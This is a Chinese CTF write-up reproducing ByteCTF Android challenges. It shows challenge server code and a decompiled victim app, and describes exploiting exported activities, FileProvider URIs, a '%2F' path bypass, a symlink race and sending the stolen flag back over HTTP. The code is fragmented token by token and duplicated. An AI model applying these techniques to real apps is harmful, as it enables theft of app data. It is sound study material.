9月底就想复现了mobile题目,奈何当时时间有限,太过年轻,不能静下心来看整个题目的布置与攻击,这几天心血来潮,把题目复现了。
现在很多App中都会内置html5界面,有时候会涉及到与android进行交互,这就需要用到WebView控件,WebView可以做到:
创建WebView拥有两种方法,第一种方法是WebView webview = new WebView(getApplicationContext());创建;第二种是在xml文件内放在布局中;下面以第二种方法为例
Activity_main.xml文件
MainActivity.java文件
写完之后运行,发现报错,无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED), 经过搜索在manifest内设置usesCleartextTraffic为true即可
可以看到百度已经被打开了,啊~因为这个app是我用来测试其他东西的,所以会看到三个奇奇怪怪的按钮
Uri代表要操作的数据,Android上可用的每种资源 (图像、视频片段、网页等) 都可以用Uri来表示。从概念上来讲,UrI包括URL。
Uri的基本结构是
path可以存在多个,以"/"连接 scheme://authority/path1/path2/path3?query#fragment
query可以带参数的返回值也可不带 scheme://authority/path1/path2/path3?id = 1#fragment
举例如下
scheme是在":"之前,所以他匹配的是http
authority是在"//"之后,所以www.eeeeeeeeeeeeeeeea.cn与其对应
path自然对应的就是about这个页面
query对应的是id=1
在安卓内,除了authority和scheme必须存在,其他的可以选择性的要或者不要
将一个url解析成uri对象的操作是Uri.parse(“http://www.baidu.com”),就是将百度网址解析成一个uri对象,可以对其进行其他的各种操作了
intent是各大组件之间通信的桥梁,Android有四个组件,分别是Activity,Service,Broadcast Receiver,Content Provider;组件之间可以进行通信,互相调用,从而形成一个app
每个应用程序都有若干个Activity组成,每一个Activity都是一个应用程序与用户进行交互的窗口,呈现不同的交互界面。因为每一个Acticity的任务不一样,所以经常互在各个Activity之间进行跳转,在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统,系统会根据这个Intent帮助你找到对应的Activity,即使这个Activity在其他的应用中,也可以用这种方法启动它。
intent包括两种,一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名,多发于同一个app内;隐式intent只知道要执行的动作是什么,比如拍照,录像,打开一个网站。
那么隐式的intent如何启动一个组件呢呢?如果没有约束的话可能会造成一些后果,所以在Manifest文件内定义了intent-filter标签,如果组件中的intentfilter和intent中的intentfilter匹配,系统就会启动该组件,并把intent传给它;若有多个组件都符合,系统变会弹出一个窗口,任我们选择启动该intent的应用(app)。
在intent-filter标签中,我们可以选择三个intent的属性进行设置,包括action,category,data
上图intent-filter定义的action为MAIN,代表app以这个activity开始
该属性是显式intent特有的,表明要启动的类的全称,包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。
下面代码可以启动另一个app的主页面
一个activity是否能被其他app的组件启动取决于"android:exported",true能,false不能。如果是false,这个activity只能被相同app的组件启动,或者是相同user ID的app的组件启动。
如果显式设置exported属性,不管这个activity有没有设置intent-filter,那么exported的值就是显式设置的值
如果没有设置exported属性,那么exported属性取决于这个activity是否有intent-filter
如有intent-filter,那么exported的值就是true
如没有intent-filter,那么exported的值就是false
一个字符串变量,用来指定Intent要执行的动作类别(比如:view or pick)。你可以在你的应用程序中自定义action,但是大部分的时候你只使用在Intent中定义的action,你可以通过Intent的setAction()方法设置action。
一个Uri对象,对应着一个数据。只设置数据的URI可以调用setData()方法,只设置MIME类型可以调用setType()方法,如果要同时设置这两个可以调用setDataAndType()。
一个包含Intent额外信息的字符串,表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中,你可以通过调用addCagegory()方法来设置category。
Intent可以携带的额外key-value数据,你可以通过调用putExtra()方法设置数据,每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据,然后通过调用putExtras()方法来设置数据。
用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。
运行run.sh,我自己启动了一遍docker环境,修改了一些部分,最终发现是在server.py文件的setup_emulator()函数中没有模拟出来手机,只是创建了一个AVD环境,并没有emulator成功
由于自己能力有限,实在不知道如何修好这个docker环境,便就此搁置,导致后面silver droid利用也不完全;如若后续进步,必定再战一次
adb broadcast便是将服务器上的flag传给apk的FlagReceiver,通过adb shell进入手机,可以查看到flag被存到了"files/flag"内
之前有一个疑问,便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter,防止外界app进行干扰,那么是怎么将flag传递给FlagReceiver呢?
由于root的情况下,是忽略掉exported的,所以可以对其进行广播
通过intent传递url数据,下面可以通过-d选项来指定Intent data URI
下面的题目介绍,都是以pixel4为环境打的,因为docker我这边模拟不起来
同时记得自己写的apk要在AndroidManifest.xml内加两句话,可以让其有网络访问的权限
主要由攻击者提供一个url,在url内布置好exp,从而进行达到利用的目的,具体见代码块内分析
使用jeb打开apk,MainActivity如下
经过分析可知,MainActivity先loadUrl,从判断传入的intent是否符合https开头,以.myqcloud.com结尾,若符合;在请求js脚本的内容时会拦截其响应,对js脚本的response地址进行检查,则返回响应时修改响应数据。
主要功能就是提供一个检查并且打开传入的url地址
经过分析得知我们传入的poc必须以"https"开头,在webview中处理时以"myqcloud.com"结尾,但是在jump.html跳转页面时不包含myqcloud,需要用到字符转换之类.
由于是赛后复现,观察其他师傅的wp发现,我们js脚本中的请求url必须包含有flag文件,我自己也尝试过在几个服务器内部部署一个flag文件,可能是由于docker启动的问题,导致网络不稳定,一直请求不到
将此js文件放到https://bytectf-1314169455.cos.ap-nanjing.myqcloud.com内。
打开apk之前,先大概看了一眼docker和启动环境的脚本,和Silver Droid的大致一样,其中server.py的实现便不同,大致便是由攻击者实现一个恶意apk,将题目提供的apk和自己实现的apk均安装到模拟器内,启动恶意apk的MainActivity来获得flag
由于篇幅,下面server.py代码仅复制与上面不一样的地方
看代码如下,一眼看去好短;
MainActivity的exported属性为true,所以可以通过外部app来启动MainActivity,具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件,然后受害者app通过setResult将flag回带给恶意apk。
想要读取flag文件,需要利用fileprovider,可知authority是com.bytectf.bronzedroid.fileprovider,所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag
恶意apk的MainActivity如下,下面的MainActivity可以进行本地测试;如果打远程需要将flag通过http回传到服务器。
若想回传flag,只需要在恶意apk内增加一个httpGet功能,然后在服务器内监听一下,代码如下
和前两题又不一样,这题先运行了受害apk的main,然后再运行恶意apk的main来拿到flag
代码看起来没有什么漏洞,只是创建了一个文件并向内部写入" I\'m in external"
VulProvider好像存在漏洞的样子
VulProvider使用了ContentProvider将应用程序的数据暴露给外界。
如何通过一套标准及统一的接口获取其他应用程序暴露的数据?Android提供了ContentResolver,外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据
如果是普通文件,file.getAbsolutePath()和file.getCanonicalPath()是一样
如果是link文件,file.getAbsolutePath()是链接文件的路径;file.getCanonicalPath是实际文件的路径(所指向的文件路径)。
记住一定要执行adb shell setenforce 0 暂时关闭 selinux 进行验证。不然会被坑惨,三天我才找到这个呜呜呜呜。
如果不关闭的话,file.getCanonicalPath是不会得到文件的软链接的路径,所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。
介绍:https://blog.csdn.net/a572423926/article/details/123261874
我写了一个demo,大家可以试试看,挺好玩的
用"%2F"绕过getLastPathSegment;
那么我一开始想不到我们编写的apk如何与目标apk进行交流,如何启动目标apk的VulActivity,一方面需要请求受害者apk的VulProvider,另一方面需要进行线程竞争和软链接,当软链接合法的时候通过openFile的检测,进入ParcelFileDescriptor.open,这时如果凑巧非法链接到了flag文件,便可以得到flag了。
如果运行程序的话,可以观察到在手机里symlink文件的软链接一直在被切换,一是指向flag这个非法路径,二是指向sandbox/file1这个合法路径
由于我是用安卓机复现,所以让其指向了非法的flag文件和合法的/sandbox/file1便结束了(我不会说是我试了两天还没竞争出来),
三天后,解决了这个问题,已破案。原因上面以说
MainActivity如下:
本地拿到flag,也可以翻日志看
题目链接:链接: https://pan.baidu.com/s/1xfk8M2ToEjRn0sldkUBZuA 提取码: eeee
参考链接:
https://blog.wm-team.cn/index.php/archives/28/
http://gityuan.com/2016/02/27/am-command/
https://blog.csdn.net/Palmer9/article/details/122420707
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
https://juejin.cn/post/6844903938790014990
https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
https://support.google.com/faqs/answer/7496913
1.
显示和渲染web界面
2.
直接使用html进行布局
3.
与js进行交互
1.
显示和渲染web界面
2.
直接使用html进行布局
3.
与js进行交互
<WebView
android:
id
=
"@+id/eeeewebview"
android:layout_width
=
"0dp"
android:layout_height
=
"0dp"
app:layout_constraintBottom_toBottomOf
=
"parent"
app:layout_constraintEnd_toEndOf
=
"parent"
app:layout_constraintStart_toStartOf
=
"parent"
app:layout_constraintTop_toTopOf
=
"parent"
/
>
<WebView
android:
id
=
"@+id/eeeewebview"
android:layout_width
=
"0dp"
android:layout_height
=
"0dp"
app:layout_constraintBottom_toBottomOf
=
"parent"
app:layout_constraintEnd_toEndOf
=
"parent"
app:layout_constraintStart_toStartOf
=
"parent"
app:layout_constraintTop_toTopOf
=
"parent"
/
>
public void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/
/
WebView
WebView webView
=
(WebView) findViewById(R.
id
.eeeewebview);
webView.loadUrl(
"https://www.baidu.com"
);
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
/
/
使用WebView加载显示url
view.loadUrl(url);
/
/
返回true
return
true;
}
});
public void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
/
/
WebView
WebView webView
=
(WebView) findViewById(R.
id
.eeeewebview);
webView.loadUrl(
"https://www.baidu.com"
);
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
/
/
使用WebView加载显示url
view.loadUrl(url);
/
/
返回true
return
true;
}
});
大致为[scheme:]scheme
-
specific
-
part[
细分为[scheme:][
/
/
authority][path][?query][
大致为[scheme:]scheme
-
specific
-
part[
细分为[scheme:][
/
/
authority][path][?query][
http:
/
/
www.eeeeeeeeeeeeeeeea.cn
/
about?
id
=
1
http:
/
/
www.eeeeeeeeeeeeeeeea.cn
/
about?
id
=
1
Intent intent
=
new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn
=
new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
Intent intent
=
new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn
=
new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
am broadcast
-
W
-
a
"com.wuhengctf.SET_FLAG"
-
n
"com.bytectf.silverdroid/.FlagReceiver"
-
e
'flag'
'flag{eeeeeeee}'
am broadcast
-
W
-
a
"com.wuhengctf.SET_FLAG"
-
n
"com.bytectf.silverdroid/.FlagReceiver"
-
e
'flag'
'flag{eeeeeeee}'
am start
-
a android.intent.action.VIEW
-
d https:
/
/
www.baidu.com
am start
-
a android.intent.action.VIEW
-
d https:
/
/
www.baidu.com
<uses
-
permission android:name
=
"android.permission.INTERNET"
/
>
<application
android:usesCleartextTraffic
=
"true"
<uses
-
permission android:name
=
"android.permission.INTERNET"
/
>
<application
android:usesCleartextTraffic
=
"true"
import
os
import
random
import
subprocess
import
sys
import
time
import
requests
import
uuid
from
hashlib
import
*
import
zipfile
import
signal
import
string
isMacos
=
len
(sys.argv)
=
=
2
wordlist
=
string.ascii_letters
difficulty
=
4
random_hex
=
lambda
x: ''.join([random.choice(wordlist)
for
_
in
range
(x)])
ADB_PORT
=
int
(random.random()
*
60000
+
5000
)
EMULATOR_PORT
=
36666
if
isMacos
else
(ADB_PORT
+
1
)
EXPLOIT_TIME_SECS
=
30
APK_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"app-debug.apk"
)
FLAG_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"flag"
)
HOME
=
"/home/user"
VULER
=
"com.bytectf.silverdroid"
ENV
=
{}
ENV.update(os.environ)
if
not
isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT"
:
"{}"
.
format
(ADB_PORT),
"ANDROID_SERIAL"
:
"emulator-{}"
.
format
(EMULATOR_PORT),
"ANDROID_SDK_ROOT"
:
"/opt/android/sdk"
,
"ANDROID_SDK_HOME"
: HOME,
"ANDROID_PREFS_ROOT"
: HOME,
"ANDROID_EMULATOR_HOME"
: HOME
+
"/.android"
,
"ANDROID_AVD_HOME"
: HOME
+
"/.android/avd"
,
"JAVA_HOME"
:
"/usr/lib/jvm/java-11-openjdk-amd64"
,
"PATH"
:
"/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:"
+
os.environ.get(
"PATH"
, "")
})
def
print_to_user(message):
print
(message)
sys.stdout.flush()
def
download_file(url):
try
:
download_dir
=
"download"
if
not
os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file
=
os.path.join(download_dir, time.strftime(
"%m-%d-%H:%M:%S"
, time.localtime())
+
str
(uuid.uuid4())
+
'.apk'
)
f
=
requests.get(url)
if
len
(f.content) >
10
*
1024
*
1024
:
return
None
with
open
(tmp_file,
'wb'
) as fp:
fp.write(f.content)
return
tmp_file
except
:
return
None
def
proof_of_work():
print_to_user(f
"First, to ensure that the service will not be dos, please answer me a question."
)
prefix
=
random_hex(
6
)
suffix
=
random_hex(difficulty)
targetHash
=
sha256((prefix
+
suffix).encode()).hexdigest()
print_to_user(f
'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"'
)
print_to_user(f
'Please enter the {"x"*difficulty} to satisfy the above equation:'
)
proof
=
sys.stdin.readline().strip()
return
sha256((prefix
+
proof).encode()).hexdigest()
=
=
targetHash
def
check_apk(path):
try
:
z
=
zipfile.ZipFile(path)
for
f
in
z.filelist:
if
f.filename
=
=
"AndroidManifest.xml"
:
return
True
return
False
except
:
return
False
def
setup_emulator():
subprocess.call(
"avdmanager"
+
" create avd"
+
" --name 'pixel_xl_api_30'"
+
" --abi 'google_apis/x86_64'"
+
" --package 'system-images;android-30;google_apis;x86_64'"
+
" --device pixel_xl"
+
" --force"
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null"),
env
=
ENV,
close_fds
=
True
,
shell
=
True
)
return
subprocess.Popen(
"emulator"
+
" -avd pixel_xl_api_30"
+
" -no-cache"
+
" -no-snapstorage"
+
" -no-snapshot-save"
+
" -no-snapshot-load"
+
" -no-audio"
+
" -no-window"
+
" -no-snapshot"
+
" -no-boot-anim"
+
" -wipe-data"
+
" -accel on"
+
" -netdelay none"
+
" -no-sim"
+
" -netspeed full"
+
" -delay-adb"
+
" -port {}"
.
format
(EMULATOR_PORT)
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null ")
+
"",
env
=
ENV,
close_fds
=
True
,
shell
=
True
,
preexec_fn
=
os.setsid)
def
adb(args, capture_output
=
True
):
return
subprocess.run(
[
'adb'
]
+
([
'-s'
,
'emulator-36666'
]
+
args
if
isMacos
else
args),
env
=
ENV,
close_fds
=
True
,
capture_output
=
capture_output).stdout
def
adb_install(apk):
adb([
"install"
,
"-t"
, apk])
def
adb_activity(activity, extras
=
None
, wait
=
False
, data
=
None
):
args
=
[
"shell"
,
"am"
,
"start"
]
if
wait:
args
+
=
[
"-W"
]
args
+
=
[
"-n"
, activity]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
if
data:
args
+
=
[
"-d"
, data]
adb(args)
def
adb_broadcast(action, receiver, extras
=
None
):
args
=
[
"shell"
,
"su"
,
"root"
,
"am"
,
"broadcast"
,
"-W"
,
"-a"
, action,
"-n"
, receiver]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
adb(args)
print_to_user(r
)
if
not
isMacos:
if
not
proof_of_work():
print_to_user(
"Please proof of work again, exit...\n"
)
exit(
-
1
)
print_to_user(
"Please enter your poc url:"
)
url
=
sys.stdin.readline().strip()
if
url.strip(
'"'
)
=
=
url:
url
=
f
'"{url}"'
if
not
url.startswith(
'"https://'
):
print_to_user(
"Invalid poc url.\n"
)
exit(
-
1
)
print_to_user(
"Preparing android emulator. This may takes about 2 minutes...\n"
)
emulator
=
setup_emulator()
adb([
"wait-for-device"
])
adb_install(APK_FILE)
with
open
(FLAG_FILE,
"r"
) as f:
adb_broadcast(f
"com.wuhengctf.SET_FLAG"
, f
"{VULER}/.FlagReceiver"
, extras
=
{
"flag"
: f.read()})
adb_activity(f
"{VULER}/.MainActivity"
, wait
=
True
, data
=
url)
print_to_user(
"Launching! Let your apk fly for a while...\n"
)
if
isMacos:
input
(
'wait for debug'
)
else
:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user(
"exiting......"
)
try
:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except
:
pass
import
os
import
random
import
subprocess
import
sys
import
time
import
requests
import
uuid
from
hashlib
import
*
import
zipfile
import
signal
import
string
isMacos
=
len
(sys.argv)
=
=
2
wordlist
=
string.ascii_letters
difficulty
=
4
random_hex
=
lambda
x: ''.join([random.choice(wordlist)
for
_
in
range
(x)])
ADB_PORT
=
int
(random.random()
*
60000
+
5000
)
EMULATOR_PORT
=
36666
if
isMacos
else
(ADB_PORT
+
1
)
EXPLOIT_TIME_SECS
=
30
APK_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"app-debug.apk"
)
FLAG_FILE
=
os.path.join(os.path.dirname(os.path.abspath(__file__)),
"flag"
)
HOME
=
"/home/user"
VULER
=
"com.bytectf.silverdroid"
ENV
=
{}
ENV.update(os.environ)
if
not
isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT"
:
"{}"
.
format
(ADB_PORT),
"ANDROID_SERIAL"
:
"emulator-{}"
.
format
(EMULATOR_PORT),
"ANDROID_SDK_ROOT"
:
"/opt/android/sdk"
,
"ANDROID_SDK_HOME"
: HOME,
"ANDROID_PREFS_ROOT"
: HOME,
"ANDROID_EMULATOR_HOME"
: HOME
+
"/.android"
,
"ANDROID_AVD_HOME"
: HOME
+
"/.android/avd"
,
"JAVA_HOME"
:
"/usr/lib/jvm/java-11-openjdk-amd64"
,
"PATH"
:
"/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:"
+
os.environ.get(
"PATH"
, "")
})
def
print_to_user(message):
print
(message)
sys.stdout.flush()
def
download_file(url):
try
:
download_dir
=
"download"
if
not
os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file
=
os.path.join(download_dir, time.strftime(
"%m-%d-%H:%M:%S"
, time.localtime())
+
str
(uuid.uuid4())
+
'.apk'
)
f
=
requests.get(url)
if
len
(f.content) >
10
*
1024
*
1024
:
return
None
with
open
(tmp_file,
'wb'
) as fp:
fp.write(f.content)
return
tmp_file
except
:
return
None
def
proof_of_work():
print_to_user(f
"First, to ensure that the service will not be dos, please answer me a question."
)
prefix
=
random_hex(
6
)
suffix
=
random_hex(difficulty)
targetHash
=
sha256((prefix
+
suffix).encode()).hexdigest()
print_to_user(f
'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"'
)
print_to_user(f
'Please enter the {"x"*difficulty} to satisfy the above equation:'
)
proof
=
sys.stdin.readline().strip()
return
sha256((prefix
+
proof).encode()).hexdigest()
=
=
targetHash
def
check_apk(path):
try
:
z
=
zipfile.ZipFile(path)
for
f
in
z.filelist:
if
f.filename
=
=
"AndroidManifest.xml"
:
return
True
return
False
except
:
return
False
def
setup_emulator():
subprocess.call(
"avdmanager"
+
" create avd"
+
" --name 'pixel_xl_api_30'"
+
" --abi 'google_apis/x86_64'"
+
" --package 'system-images;android-30;google_apis;x86_64'"
+
" --device pixel_xl"
+
" --force"
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null"),
env
=
ENV,
close_fds
=
True
,
shell
=
True
)
return
subprocess.Popen(
"emulator"
+
" -avd pixel_xl_api_30"
+
" -no-cache"
+
" -no-snapstorage"
+
" -no-snapshot-save"
+
" -no-snapshot-load"
+
" -no-audio"
+
" -no-window"
+
" -no-snapshot"
+
" -no-boot-anim"
+
" -wipe-data"
+
" -accel on"
+
" -netdelay none"
+
" -no-sim"
+
" -netspeed full"
+
" -delay-adb"
+
" -port {}"
.
format
(EMULATOR_PORT)
+
("
" if isMacos else "
>
/
dev
/
null
2
>
/
dev
/
null ")
+
"",
env
=
ENV,
close_fds
=
True
,
shell
=
True
,
preexec_fn
=
os.setsid)
def
adb(args, capture_output
=
True
):
return
subprocess.run(
[
'adb'
]
+
([
'-s'
,
'emulator-36666'
]
+
args
if
isMacos
else
args),
env
=
ENV,
close_fds
=
True
,
capture_output
=
capture_output).stdout
def
adb_install(apk):
adb([
"install"
,
"-t"
, apk])
def
adb_activity(activity, extras
=
None
, wait
=
False
, data
=
None
):
args
=
[
"shell"
,
"am"
,
"start"
]
if
wait:
args
+
=
[
"-W"
]
args
+
=
[
"-n"
, activity]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
if
data:
args
+
=
[
"-d"
, data]
adb(args)
def
adb_broadcast(action, receiver, extras
=
None
):
args
=
[
"shell"
,
"su"
,
"root"
,
"am"
,
"broadcast"
,
"-W"
,
"-a"
, action,
"-n"
, receiver]
if
extras:
for
key
in
extras:
args
+
=
[
"-e"
, key, extras[key]]
adb(args)
print_to_user(r
)
if
not
isMacos:
if
not
proof_of_work():
print_to_user(
"Please proof of work again, exit...\n"
)
exit(
-
1
)
print_to_user(
"Please enter your poc url:"
)
url
=
sys.stdin.readline().strip()
if
url.strip(
'"'
)
=
=
url:
url
=
f
'"{url}"'
if
not
url.startswith(
'"https://'
):
print_to_user(
"Invalid poc url.\n"
)
exit(
-
1
)
print_to_user(
"Preparing android emulator. This may takes about 2 minutes...\n"
)
emulator
=
setup_emulator()
adb([
"wait-for-device"
])
adb_install(APK_FILE)
with
open
(FLAG_FILE,
"r"
) as f:
adb_broadcast(f
"com.wuhengctf.SET_FLAG"
, f
"{VULER}/.FlagReceiver"
, extras
=
{
"flag"
: f.read()})
adb_activity(f
"{VULER}/.MainActivity"
, wait
=
True
, data
=
url)
print_to_user(
"Launching! Let your apk fly for a while...\n"
)
if
isMacos:
input
(
'wait for debug'
)
else
:
time.sleep(EXPLOIT_TIME_SECS)
print_to_user(
"exiting......"
)
try
:
os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)
os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)
except
:
pass
package com.bytectf.silverdroid;
import
android.net.Uri;
import
android.os.Bundle;
import
android.util.Log;
import
android.webkit.WebResourceRequest;
import
android.webkit.WebResourceResponse;
import
android.webkit.WebView;
import
android.webkit.WebViewClient;
import
androidx.appcompat.app.AppCompatActivity;
import
java.io.
File
;
import
java.io.FileInputStream;
import
java.io.IOException;
import
java.util.HashMap;
public
class
MainActivity extends AppCompatActivity {
@Override
/
/
androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
this.setContentView(
0x7F0B001C
);
/
/
layout:activity_main
Uri uri0
=
this.getIntent().getData();
/
/
获得intent所传过来的data参数,可以来自另一个app
if
(uri0 !
=
null) {
/
/
若参数不为null
WebView webView
=
new WebView(this.getApplicationContext());
/
/
新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() {
/
/
当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开
@Override
/
/
android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
/
/
当shouldOverrideUrlLoading返回值为true,拦截webview加载url
try
{
Uri uri0
=
Uri.parse(url);
/
/
解析url
Log.e(
"Hint"
,
"Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240"
);
if
(uri0.getScheme().equals(
"https"
)) {
/
/
scheme必须是https
return
!uri0.getHost().endsWith(
".myqcloud.com"
);
/
/
若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return
true;
}
return
true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
/
/
android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
/
/
拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0
=
request.getUrl();
/
/
获得js请求的request
if
(uri0.getPath().startsWith(
"/local_cache/"
)) {
/
/
检查域名后的path是否为
/
local_cache
/
开头
File
cacheFile
=
new
File
(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
/
/
只是在内存中创建
File
文件映射对象,而并不会在硬盘中创建文件,新建
file
以cache为目录,uri0的最后一个地址段
/
/
getCacheDir获取手机中
/
data
/
data
/
包名
/
cache目录;
if
(cacheFile.exists()) {
/
/
若映射的文件真实存在,则进入下面循环
try
{
inputStream
=
new FileInputStream(cacheFile);
/
/
其将文件内容读取到了内存inputStream内,之后可以进行读取操作
}
catch(IOException e) {
return
null;
}
HashMap headers
=
new HashMap();
headers.put(
"Access-Control-Allow-Origin"
,
"*"
);
return
new WebResourceResponse(
"text/html"
,
"utf-8"
,
200
,
"OK"
, headers, inputStream);
/
/
返回响应
}
}
return
super
.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView);
/
/
webView.getSettings().setJavaScriptEnabled(true);
/
/
设置WebView属性,能够执行Javascript脚本
webView.loadUrl(
"https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url="
+
uri0);
}
}
}
package com.bytectf.silverdroid;
import
android.net.Uri;
import
android.os.Bundle;
import
android.util.Log;
import
android.webkit.WebResourceRequest;
import
android.webkit.WebResourceResponse;
import
android.webkit.WebView;
import
android.webkit.WebViewClient;
import
androidx.appcompat.app.AppCompatActivity;
import
java.io.
File
;
import
java.io.FileInputStream;
import
java.io.IOException;
import
java.util.HashMap;
public
class
MainActivity extends AppCompatActivity {
@Override
/
/
androidx.fragment.app.FragmentActivity
protected void onCreate(Bundle savedInstanceState) {
super
.onCreate(savedInstanceState);
this.setContentView(
0x7F0B001C
);
/
/
layout:activity_main
Uri uri0
=
this.getIntent().getData();
/
/
获得intent所传过来的data参数,可以来自另一个app
if
(uri0 !
=
null) {
/
/
若参数不为null
WebView webView
=
new WebView(this.getApplicationContext());
/
/
新建的页面取得是整个app的context
webView.setWebViewClient(new WebViewClient() {
/
/
当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开
@Override
/
/
android.webkit.WebViewClient
public boolean shouldOverrideUrlLoading(WebView view, String url) {
/
/
当shouldOverrideUrlLoading返回值为true,拦截webview加载url
try
{
Uri uri0
=
Uri.parse(url);
/
/
解析url
Log.e(
"Hint"
,
"Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240"
);
if
(uri0.getScheme().equals(
"https"
)) {
/
/
scheme必须是https
return
!uri0.getHost().endsWith(
".myqcloud.com"
);
/
/
若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url
}
}
catch(Exception e) {
e.printStackTrace();
return
true;
}
return
true;
}
});
webView.setWebViewClient(new WebViewClient() {
@Override
/
/
android.webkit.WebViewClient
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
/
/
拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据
FileInputStream inputStream;
Uri uri0
=
request.getUrl();
/
/
获得js请求的request
if
(uri0.getPath().startsWith(
"/local_cache/"
)) {
/
/
检查域名后的path是否为
/
local_cache
/
开头
File
cacheFile
=
new
File
(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
/
/
只是在内存中创建
File
文件映射对象,而并不会在硬盘中创建文件,新建
file
以cache为目录,uri0的最后一个地址段
/
/
getCacheDir获取手机中
/
data
/
data
/
包名
/
cache目录;
if
(cacheFile.exists()) {
/
/
若映射的文件真实存在,则进入下面循环
try
{
inputStream
=
new FileInputStream(cacheFile);
/
/
其将文件内容读取到了内存inputStream内,之后可以进行读取操作
}
catch(IOException e) {
return
null;
}
HashMap headers
=
new HashMap();
headers.put(
"Access-Control-Allow-Origin"
,
"*"
);
return
new WebResourceResponse(
"text/html"
,
"utf-8"
,
200
,
"OK"
, headers, inputStream);
/
/
返回响应
}
}
return
super
.shouldInterceptRequest(view, request);
}
});
this.setContentView(webView);
/
/
webView.getSettings().setJavaScriptEnabled(true);
/
/
设置WebView属性,能够执行Javascript脚本
webView.loadUrl(
"https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url="
+
uri0);
}
}
}
<h1>jump<
/
h1>
<script>
function getQueryVariable(variable)
{
var query
=
window.location.search.substring(
1
);
/
/
window.location是获得当前页面的url地址,添上search之后表示从
"?"
开始的url,而substring(
1
)就是将
"?"
截掉。
var
vars
=
query.split(
"&"
);
/
/
把query以
"&"
进行分割
for
(var i
=
0
;i<
vars
.length;i
+
+
) {
var pair
=
vars
[i].split(
"="
);
if
(pair[
0
]
=
=
variable){
return
pair[
1
];}
}
return
(false);
/
/
获得url参数
}
var myurl
=
getQueryVariable(
"url"
).toString().toLowerCase();
/
/
if
(myurl !
=
'false'
&& myurl.length >
1
&& myurl.indexOf(
"myqcloud"
)
=
=
-
1
) {
/
/
